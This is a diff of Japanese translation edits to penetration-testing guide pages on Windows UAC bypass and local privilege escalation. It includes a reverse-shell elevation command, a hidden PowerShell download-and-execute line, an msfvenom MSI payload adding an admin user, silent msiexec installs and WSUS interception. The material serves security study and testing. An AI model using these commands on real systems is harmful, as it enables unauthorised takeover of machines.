| [ユーザーアカウント制御:標準ユーザーの昇格プロンプトの動作](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップでの資格情報を求めるプロンプト |
|
| [ユーザーアカウント制御:標準ユーザーの昇格プロンプトの動作](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | セキュアデスクトップでの資格情報を求めるプロンプト |
|
||||||
| [ユーザーアカウント制御:アプリケーションのインストールを検出し、昇格を要求する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(ホームのデフォルト)無効(エンタープライズのデフォルト) |
|
| [ユーザーアカウント制御:アプリケーションのインストールを検出し、昇格を要求する](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | 有効(ホームのデフォルト)無効(エンタープライズのデフォルト) |
|
||||||
| [ユーザーアカウント制御:署名され、検証された実行可能ファイルのみを昇格させる](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 無効 |
|
| [ユーザーアカウント制御:署名され、検証された実行可能ファイルのみを昇格させる](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | 無効 |
|
||||||
@ -31,11 +31,11 @@ UACが有効な場合、管理者ユーザーには2つのトークンが与え
|
|||||||
|
|
||||||
### UACバイパス理論
|
### UACバイパス理論
|
||||||
|
|
||||||
一部のプログラムは、**ユーザーが** **管理者グループに属している場合**、**自動的に自動昇格**されます。これらのバイナリには、_**Manifests**_ 内に _**autoElevate**_ オプションが _**True**_ の値で含まれています。バイナリは、**Microsoftによって署名されている必要があります**。
|
一部のプログラムは、**ユーザーが** **管理者グループに属している**場合に**自動的に昇格**されます。これらのバイナリには、_**Manifests**_ 内に _**autoElevate**_ オプションが _**True**_ の値で含まれています。バイナリは、**Microsoftによって署名されている**必要があります。
|
||||||
|
|
||||||
次に、**UAC**を**バイパス**するために(**中**のインテグリティレベルから**高**に昇格する)、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高いインテグリティプロセス**から実行されるからです。
|
次に、**UAC**を**バイパス**するために(**中**のインテグリティレベルから**高**に昇格する)、一部の攻撃者はこの種のバイナリを使用して**任意のコードを実行**します。なぜなら、それは**高いインテグリティプロセス**から実行されるからです。
|
||||||
|
|
||||||
バイナリの_**Manifest**_を確認するには、Sysinternalsのツール_**sigcheck.exe**_を使用できます。また、_Process Explorer_や_Sysinternals_の_Process Monitor_を使用してプロセスの**インテグリティレベル**を確認できます。
|
バイナリの_**Manifest**_を確認するには、Sysinternalsのツール_**sigcheck.exe**_を使用できます。また、_Process Explorer_や_SysinternalsのProcess Monitor_を使用してプロセスの**インテグリティレベル**を確認できます。
|
||||||
|
|
||||||
### UACの確認
|
### UACの確認
|
||||||
|
|
||||||
@ -46,7 +46,7 @@ REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\
|
|||||||
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
|
||||||
EnableLUA REG_DWORD 0x1
|
EnableLUA REG_DWORD 0x1
|
||||||
```
|
```
|
||||||
もし**`1`**であれば、UACは**有効**です。もし**`0`**または**存在しない**場合、UACは**無効**です。
|
もしそれが **`1`** であれば、UACは **有効** です。もしそれが **`0`** であるか、**存在しない** のであれば、UACは **無効** です。
|
||||||
|
|
||||||
次に、**どのレベル**が設定されているかを確認します:
|
次に、**どのレベル**が設定されているかを確認します:
|
||||||
```
|
```
|
||||||
@ -57,23 +57,23 @@ ConsentPromptBehaviorAdmin REG_DWORD 0x5
|
|||||||
```
|
```
|
||||||
- **`0`** の場合、UACはプロンプトを表示しません(**無効**のように)
|
- **`0`** の場合、UACはプロンプトを表示しません(**無効**のように)
|
||||||
- **`1`** の場合、管理者はバイナリを高い権限で実行するために**ユーザー名とパスワード**を求められます(セキュアデスクトップ上で)
|
- **`1`** の場合、管理者はバイナリを高い権限で実行するために**ユーザー名とパスワード**を求められます(セキュアデスクトップ上で)
|
||||||
- **`2`** (**常に通知する**)の場合、UACは管理者が高い権限で何かを実行しようとするたびに常に確認を求めます(セキュアデスクトップ上で)
|
- **`2`** の場合(**常に通知**)、UACは管理者が高い権限で何かを実行しようとするたびに常に確認を求めます(セキュアデスクトップ上で)
|
||||||
- **`3`** の場合、`1` と同様ですが、セキュアデスクトップ上で必要ではありません
|
- **`3`** の場合、`1`のようですが、セキュアデスクトップ上で必要ではありません
|
||||||
- **`4`** の場合、`2` と同様ですが、セキュアデスクトップ上で必要ではありません
|
- **`4`** の場合、`2`のようですが、セキュアデスクトップ上で必要ではありません
|
||||||
- **`5`** (**デフォルト**)の場合、管理者に非Windowsバイナリを高い権限で実行するための確認を求めます
|
- **`5`** の場合(**デフォルト**)、非Windowsバイナリを高い権限で実行するために管理者に確認を求めます
|
||||||
|
|
||||||
次に、**`LocalAccountTokenFilterPolicy`** の値を確認する必要があります。\
|
次に、**`LocalAccountTokenFilterPolicy`** の値を確認する必要があります。\
|
||||||
値が **`0`** の場合、**RID 500** ユーザー(**組み込みの管理者**)のみがUACなしで**管理タスク**を実行できます。値が `1` の場合、**「Administrators」** グループ内のすべてのアカウントがそれを実行できます。
|
値が **`0`** の場合、**RID 500** ユーザー(**組み込みの管理者**)のみがUACなしで**管理タスク**を実行できます。値が `1` の場合、**「Administrators」** グループ内のすべてのアカウントがそれを実行できます。
|
||||||
|
|
||||||
最後に、キー **`FilterAdministratorToken`** の値を確認します。\
|
最後に、キー **`FilterAdministratorToken`** の値を確認します。\
|
||||||
**`0`**(デフォルト)の場合、**組み込みの管理者アカウントは**リモート管理タスクを実行できます。**`1`** の場合、組み込みの管理者アカウントは**リモート管理タスクを実行できません**が、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合を除きます。
|
**`0`**(デフォルト)の場合、**組み込みの管理者アカウントは**リモート管理タスクを実行できます。**`1`** の場合、組み込みの管理者アカウントはリモート管理タスクを実行できませんが、`LocalAccountTokenFilterPolicy` が `1` に設定されている場合を除きます。
|
||||||
|
|
||||||
#### 概要
|
#### 概要
|
||||||
|
|
||||||
- `EnableLUA=0` または **存在しない**場合、**誰に対してもUACなし**
|
- `EnableLUA=0` または **存在しない**場合、**誰に対してもUACなし**
|
||||||
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=1`** の場合、誰に対してもUACなし
|
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=1`** の場合、誰に対してもUACなし
|
||||||
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0`** かつ `FilterAdministratorToken=0` の場合、RID 500(組み込みの管理者)に対してUACなし
|
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0`** かつ **`FilterAdministratorToken=0`** の場合、RID 500(組み込みの管理者)に対してUACなし
|
||||||
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0`** かつ `FilterAdministratorToken=1` の場合、全員に対してUACあり
|
- `EnableLua=1` かつ **`LocalAccountTokenFilterPolicy=0`** かつ **`FilterAdministratorToken=1`** の場合、全員に対してUACあり
|
||||||
|
|
||||||
このすべての情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集できます。
|
このすべての情報は、**metasploit** モジュール `post/windows/gather/win_privs` を使用して収集できます。
|
||||||
|
|
||||||
@ -93,7 +93,7 @@ UACが**最高のセキュリティレベル(常に)**に設定されてい
|
|||||||
|
|
||||||
### UAC無効
|
### UAC無効
|
||||||
|
|
||||||
UACがすでに無効になっている場合(`ConsentPromptBehaviorAdmin`が**`0`**)、次のようなもので**管理者権限でリバースシェルを実行**できます:
|
UACがすでに無効になっている場合(`ConsentPromptBehaviorAdmin`が**`0`**)、**管理者権限でリバースシェルを実行する**ことができます(高整合性レベル)次のようなものを使用して:
|
||||||
```bash
|
```bash
|
||||||
#Put your reverse shell instead of "calc.exe"
|
#Put your reverse shell instead of "calc.exe"
|
||||||
Start-Process powershell -Verb runAs "calc.exe"
|
Start-Process powershell -Verb runAs "calc.exe"
|
||||||
@ -139,10 +139,10 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
|||||||
|
|
||||||
### UAC バイパスエクスプロイト
|
### UAC バイパスエクスプロイト
|
||||||
|
|
||||||
[**UACME**](https://github.com/hfiref0x/UACME) は、いくつかの UAC バイパスエクスプロイトの **コンパイル** です。**UACME を Visual Studio または msbuild を使用してコンパイルする必要があります**。コンパイルにより、いくつかの実行可能ファイル(例えば `Source\Akagi\outout\x64\Debug\Akagi.exe`)が作成されます。**どれが必要かを知っておく必要があります。**\
|
[**UACME**](https://github.com/hfiref0x/UACME) は、いくつかの UAC バイパスエクスプロイトの **コンパイル** です。**UACME を Visual Studio または msbuild を使用してコンパイルする必要があります**。コンパイルにより、いくつかの実行可能ファイル(例: `Source\Akagi\outout\x64\Debug\Akagi.exe`)が作成されます。**どれが必要かを知っておく必要があります。**\
|
||||||
**注意が必要** です。なぜなら、いくつかのバイパスは **他のプログラムを促す** ことがあり、**ユーザー** に何かが起こっていることを **警告** します。
|
**注意が必要** です。なぜなら、いくつかのバイパスは **他のプログラムを促す** ことがあり、**ユーザー** に何かが起こっていることを **警告** します。
|
||||||
|
|
||||||
UACME には、各技術が動作し始めた **ビルドバージョン** があります。あなたのバージョンに影響を与える技術を検索できます:
|
UACME には、各技術が動作し始めた **ビルドバージョン** が含まれています。あなたのバージョンに影響を与える技術を検索できます:
|
||||||
```
|
```
|
||||||
PS C:\> [environment]::OSVersion.Version
|
PS C:\> [environment]::OSVersion.Version
|
||||||
|
|
||||||
@ -150,41 +150,41 @@ Major Minor Build Revision
|
|||||||
----- ----- ----- --------
|
----- ----- ----- --------
|
||||||
10 0 14393 0
|
10 0 14393 0
|
||||||
```
|
```
|
||||||
また、[この](https://en.wikipedia.org/wiki/Windows_10_version_history)ページを使用すると、ビルドバージョンからWindowsリリース`1607`を取得できます。
|
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||||
|
|
||||||
#### さらなるUACバイパス
|
#### More UAC bypass
|
||||||
|
|
||||||
**ここで使用されるすべての技術は、AUCをバイパスするために** **完全なインタラクティブシェル** **を必要とします**(一般的なnc.exeシェルでは不十分です)。
|
**すべて**の技術は、AUCをバイパスするために**フルインタラクティブシェル**を必要とします(一般的なnc.exeシェルでは不十分です)。
|
||||||
|
|
||||||
**meterpreter**セッションを使用して取得できます。**Session**値が**1**に等しい**プロセス**に移行します:
|
**meterpreter**セッションを使用して取得できます。**Session**値が**1**に等しい**プロセス**に移行します:
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
(_explorer.exe_は動作するはずです)
|
(_explorer.exe_ は動作するはずです)
|
||||||
|
|
||||||
### GUIを使用したUACバイパス
|
### UAC Bypass with GUI
|
||||||
|
|
||||||
**GUIにアクセスできる場合、UACプロンプトが表示されたときにそれを受け入れるだけで済みます**。実際にはバイパスは必要ありません。したがって、GUIにアクセスすることでUACをバイパスできます。
|
**GUIにアクセスできる場合は、UACプロンプトが表示されたときにそれを受け入れるだけで済みます。** バイパスは本当に必要ありません。したがって、GUIにアクセスすることでUACをバイパスできます。
|
||||||
|
|
||||||
さらに、誰かが使用していたGUIセッション(おそらくRDP経由)を取得すると、**管理者として実行されるいくつかのツール**があり、そこから**cmd**を例えば**管理者として**直接実行でき、再度UACによるプロンプトが表示されることはありません。これは少し**ステルス**かもしれません。
|
さらに、誰かが使用していたGUIセッション(おそらくRDP経由)を取得した場合、**管理者として実行されるツールがいくつかあり、そこから**例えば**管理者として**直接**cmd**を**実行**できることがあります。UACによって再度プロンプトされることはありません。 [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif)のように。これは少し**ステルス**かもしれません。
|
||||||
|
|
||||||
### 騒がしいブルートフォースUACバイパス
|
### Noisy brute-force UAC bypass
|
||||||
|
|
||||||
騒がしいことを気にしないのであれば、常に**[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin)**のようなものを**実行して、ユーザーが受け入れるまで権限を昇格するように要求することができます**。
|
騒がしくなることを気にしないのであれば、常に**[**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin)**のようなものを**実行**して、**ユーザーが受け入れるまで権限を昇格するように要求することができます**。
|
||||||
|
|
||||||
### 自分自身のバイパス - 基本的なUACバイパス手法
|
### Your own bypass - Basic UAC bypass methodology
|
||||||
|
|
||||||
**UACME**を見てみると、**ほとんどのUACバイパスはDLLハイジャックの脆弱性を悪用している**ことに気付くでしょう(主に悪意のあるdllを_C:\Windows\System32_に書き込むこと)。[DLLハイジャックの脆弱性を見つける方法を学ぶにはこれを読んでください](../windows-local-privilege-escalation/dll-hijacking/)。
|
**UACME**を見てみると、**ほとんどのUACバイパスはDll Hijackingの脆弱性を悪用しています**(主に悪意のあるdllを_C:\Windows\System32_に書き込むこと)。 [Dll Hijackingの脆弱性を見つける方法を学ぶにはこれを読んでください](../windows-local-privilege-escalation/dll-hijacking/index.html)。
|
||||||
|
|
||||||
1. **自動昇格**するバイナリを見つけます(実行時に高い整合性レベルで実行されることを確認します)。
|
1. **自動昇格**するバイナリを見つけます(実行時に高い整合性レベルで実行されることを確認します)。
|
||||||
2. procmonを使用して、**DLLハイジャック**に脆弱な可能性のある"**NAME NOT FOUND**"イベントを見つけます。
|
2. procmonを使用して、**DLL Hijacking**に脆弱な**"NAME NOT FOUND"**イベントを見つけます。
|
||||||
3. おそらく、**書き込み権限がない**いくつかの**保護されたパス**(C:\Windows\System32など)内にDLLを**書き込む**必要があります。これをバイパスするには:
|
3. おそらく、**書き込み権限がない**いくつかの**保護されたパス**(C:\Windows\System32など)内にDLLを**書き込む**必要があります。これをバイパスするには:
|
||||||
1. **wusa.exe**:Windows 7、8、8.1。CABファイルの内容を保護されたパス内に抽出することができます(このツールは高い整合性レベルから実行されるため)。
|
1. **wusa.exe**: Windows 7,8および8.1。保護されたパス内にCABファイルの内容を抽出することを許可します(このツールは高い整合性レベルから実行されるため)。
|
||||||
2. **IFileOperation**:Windows 10。
|
2. **IFileOperation**: Windows 10。
|
||||||
4. 保護されたパス内にDLLをコピーし、脆弱で自動昇格されたバイナリを実行するための**スクリプト**を準備します。
|
4. 保護されたパス内にDLLをコピーし、脆弱で自動昇格されたバイナリを実行するための**スクリプト**を準備します。
|
||||||
|
|
||||||
### 別のUACバイパス技術
|
### Another UAC bypass technique
|
||||||
|
|
||||||
**autoElevatedバイナリ**が**実行される**ための**バイナリ**または**コマンド**の**名前/パス**を**レジストリ**から**読み取ろうとする**のを監視することに基づいています(これは、バイナリが**HKCU**内でこの情報を検索する場合により興味深いです)。
|
**自動昇格されたバイナリ**が**実行**される**バイナリ**または**コマンド**の**名前/パス**を**レジストリ**から**読み取ろうとする**のを監視することに基づいています(このバイナリが**HKCU**内でこの情報を検索する場合、これはより興味深いです)。
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
### **Windowsのローカル特権昇格ベクトルを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
### **Windowsのローカル特権昇格ベクターを探すための最良のツール:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
|
||||||
|
|
||||||
## 初期Windows理論
|
## 初期Windows理論
|
||||||
|
|
||||||
@ -14,9 +14,9 @@
|
|||||||
access-tokens.md
|
access-tokens.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
### ACL - DACL/SACL/ACE
|
### ACLs - DACLs/SACLs/ACEs
|
||||||
|
|
||||||
**ACL - DACL/SACL/ACEに関する詳細は以下のページを確認してください:**
|
**ACLs - DACLs/SACLs/ACEsに関する詳細情報は以下のページを確認してください:**
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
acls-dacls-sacls-aces.md
|
acls-dacls-sacls-aces.md
|
||||||
@ -32,7 +32,7 @@ integrity-levels.md
|
|||||||
|
|
||||||
## Windowsセキュリティコントロール
|
## Windowsセキュリティコントロール
|
||||||
|
|
||||||
Windowsには、**システムの列挙を妨げる**、実行可能ファイルを実行することを妨げる、または**あなたの活動を検出する**ことができるさまざまな要素があります。特権昇格の列挙を開始する前に、以下の**ページ**を**読み**、これらの**防御****メカニズム**をすべて**列挙**する必要があります:
|
Windowsには、**システムの列挙を妨げる**、実行可能ファイルを実行することを妨げる、または**あなたの活動を検出する**ことができるさまざまな要素があります。特権昇格の列挙を開始する前に、以下の**ページ**を**読み**、すべての**防御****メカニズム**を**列挙**するべきです:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
../authentication-credentials-uac-and-efs/
|
../authentication-credentials-uac-and-efs/
|
||||||
@ -77,9 +77,9 @@ Get-Hotfix -description "Security update" #List only "Security Update" patches
|
|||||||
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
|
||||||
- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
|
- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
|
||||||
|
|
||||||
### 環境
|
### Environment
|
||||||
|
|
||||||
env変数に保存された資格情報/重要な情報はありますか?
|
環境変数に保存された資格情報/重要な情報はありますか?
|
||||||
```bash
|
```bash
|
||||||
set
|
set
|
||||||
dir env:
|
dir env:
|
||||||
@ -97,7 +97,7 @@ cat (Get-PSReadlineOption).HistorySavePath | sls passw
|
|||||||
```
|
```
|
||||||
### PowerShell トランスクリプトファイル
|
### PowerShell トランスクリプトファイル
|
||||||
|
|
||||||
これをオンにする方法は[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。
|
この機能をオンにする方法は、[https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)で学ぶことができます。
|
||||||
```bash
|
```bash
|
||||||
#Check is enable in the registry
|
#Check is enable in the registry
|
||||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
|
||||||
@ -112,16 +112,16 @@ Stop-Transcript
|
|||||||
```
|
```
|
||||||
### PowerShell モジュール ロギング
|
### PowerShell モジュール ロギング
|
||||||
|
|
||||||
PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細と出力結果はキャプチャされない場合があります。
|
PowerShell パイプラインの実行の詳細が記録され、実行されたコマンド、コマンドの呼び出し、およびスクリプトの一部が含まれます。ただし、完全な実行の詳細や出力結果はキャプチャされない場合があります。
|
||||||
|
|
||||||
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**"モジュール ロギング"** を選択してください **"Powershell トランスクリプション"** の代わりに。
|
これを有効にするには、ドキュメントの「トランスクリプトファイル」セクションの指示に従い、**"Module Logging"** を選択してください。**"Powershell Transcription"** の代わりに。
|
||||||
```bash
|
```bash
|
||||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||||
```
|
```
|
||||||
PowersShellログから最後の15イベントを表示するには、次のコマンドを実行できます:
|
PowersShell ログから最後の 15 イベントを表示するには、次のコマンドを実行できます:
|
||||||
```bash
|
```bash
|
||||||
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||||
```
|
```
|
||||||
@ -134,7 +134,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
|||||||
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||||
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||||
```
|
```
|
||||||
スクリプトブロックのログイベントは、Windowsイベントビューアのパス **Application and Services Logs > Microsoft > Windows > PowerShell > Operational** にあります。\
|
スクリプトブロックのログイベントは、Windowsイベントビューアのパスにあります: **Application and Services Logs > Microsoft > Windows > PowerShell > Operational**。\
|
||||||
最後の20件のイベントを表示するには、次のコマンドを使用できます:
|
最後の20件のイベントを表示するには、次のコマンドを使用できます:
|
||||||
```bash
|
```bash
|
||||||
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
|
||||||
@ -152,7 +152,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
|||||||
```
|
```
|
||||||
## WSUS
|
## WSUS
|
||||||
|
|
||||||
システムは、更新がhttpではなくhttp**S**を使用してリクエストされていない場合に危険にさらされる可能性があります。
|
システムは、更新がhttpではなくhttp**S**を使用してリクエストされていない場合に危険にさらされます。
|
||||||
|
|
||||||
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:
|
次のコマンドを実行して、ネットワークが非SSL WSUS更新を使用しているかどうかを確認します:
|
||||||
```
|
```
|
||||||
@ -180,21 +180,21 @@ WUServer REG_SZ http://xxxx-updxx.corp.internal.com:8535
|
|||||||
|
|
||||||
> ローカルユーザープロキシを変更する権限があり、Windows Update が Internet Explorer の設定で構成されたプロキシを使用する場合、私たちは [PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自分のトラフィックを傍受し、資産上で昇格されたユーザーとしてコードを実行する権限を持っています。
|
> ローカルユーザープロキシを変更する権限があり、Windows Update が Internet Explorer の設定で構成されたプロキシを使用する場合、私たちは [PyWSUS](https://github.com/GoSecure/pywsus) をローカルで実行して自分のトラフィックを傍受し、資産上で昇格されたユーザーとしてコードを実行する権限を持っています。
|
||||||
>
|
>
|
||||||
> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼性のある初回使用型の検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。
|
> さらに、WSUS サービスは現在のユーザーの設定を使用するため、その証明書ストアも使用します。WSUS ホスト名の自己署名証明書を生成し、この証明書を現在のユーザーの証明書ストアに追加すれば、HTTP および HTTPS WSUS トラフィックの両方を傍受できるようになります。WSUS は、証明書に対して信頼の初回使用タイプの検証を実装するための HSTS のようなメカニズムを使用していません。提示された証明書がユーザーによって信頼され、正しいホスト名を持っている場合、サービスによって受け入れられます。
|
||||||
|
|
||||||
この脆弱性を利用するには、ツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用できます(解放された場合)。
|
この脆弱性を利用するには、ツール [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) を使用できます(解放された場合)。
|
||||||
|
|
||||||
## KrbRelayUp
|
## KrbRelayUp
|
||||||
|
|
||||||
**ローカル特権昇格**の脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない**環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権利を持っていること、ユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの**要件**は、**デフォルト設定**を使用して満たされることに注意が必要です。
|
**ローカル特権昇格** 脆弱性は、特定の条件下で Windows **ドメイン** 環境に存在します。これらの条件には、**LDAP 署名が強制されていない** 環境、ユーザーが **リソースベースの制約付き委任 (RBCD)** を構成する権限を持っていること、およびユーザーがドメイン内でコンピュータを作成する能力が含まれます。これらの **要件** は **デフォルト設定** を使用して満たされることに注意が必要です。
|
||||||
|
|
||||||
**エクスプロイトを見つける**には [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
**エクスプロイトを見つける** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||||
|
|
||||||
攻撃の流れについての詳細は [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
|
攻撃の流れについての詳細は、[https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/) を確認してください。
|
||||||
|
|
||||||
## AlwaysInstallElevated
|
## AlwaysInstallElevated
|
||||||
|
|
||||||
**これらの 2 つのレジスタが** **有効** (値が **0x1**) の場合、あらゆる特権のユーザーが NT AUTHORITY\\**SYSTEM** として `*.msi` ファイルを **インストール** (実行) できます。
|
**これらの 2 つのレジスタが **有効** (値が **0x1**) の場合、任意の特権を持つユーザーは **インストール** (実行) `*.msi` ファイルを NT AUTHORITY\\**SYSTEM** として実行できます。
|
||||||
```bash
|
```bash
|
||||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
|
||||||
@ -208,7 +208,7 @@ msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.ms
|
|||||||
|
|
||||||
### PowerUP
|
### PowerUP
|
||||||
|
|
||||||
`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを出力します(そのため、GIUアクセスが必要です):
|
`Write-UserAddMSI`コマンドをpower-upから使用して、現在のディレクトリ内にWindows MSIバイナリを作成し、特権を昇格させます。このスクリプトは、ユーザー/グループの追加を促すプリコンパイルされたMSIインストーラーを出力します(そのため、GIUアクセスが必要です)。
|
||||||
```
|
```
|
||||||
Write-UserAddMSI
|
Write-UserAddMSI
|
||||||
```
|
```
|
||||||
@ -216,7 +216,7 @@ Write-UserAddMSI
|
|||||||
|
|
||||||
### MSI Wrapper
|
### MSI Wrapper
|
||||||
|
|
||||||
このツールを使用してMSIラッパーを作成する方法を学ぶためにこのチュートリアルを読んでください。**コマンドラインを実行**したいだけの場合は、"**.bat**"ファイルをラップすることができます。
|
このツールを使用してMSIラッパーを作成する方法を学ぶためにこのチュートリアルを読んでください。**コマンドラインを実行**したいだけの場合は、"**.bat**"ファイルをラップできます。
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
msi-wrapper.md
|
msi-wrapper.md
|
||||||
@ -249,7 +249,7 @@ create-msi-with-wix.md
|
|||||||
```
|
```
|
||||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||||
```
|
```
|
||||||
この脆弱性を悪用するには、次のものを使用できます: _exploit/windows/local/always_install_elevated_
|
この脆弱性を悪用するには、次を使用できます: _exploit/windows/local/always_install_elevated_
|
||||||
|
|
||||||
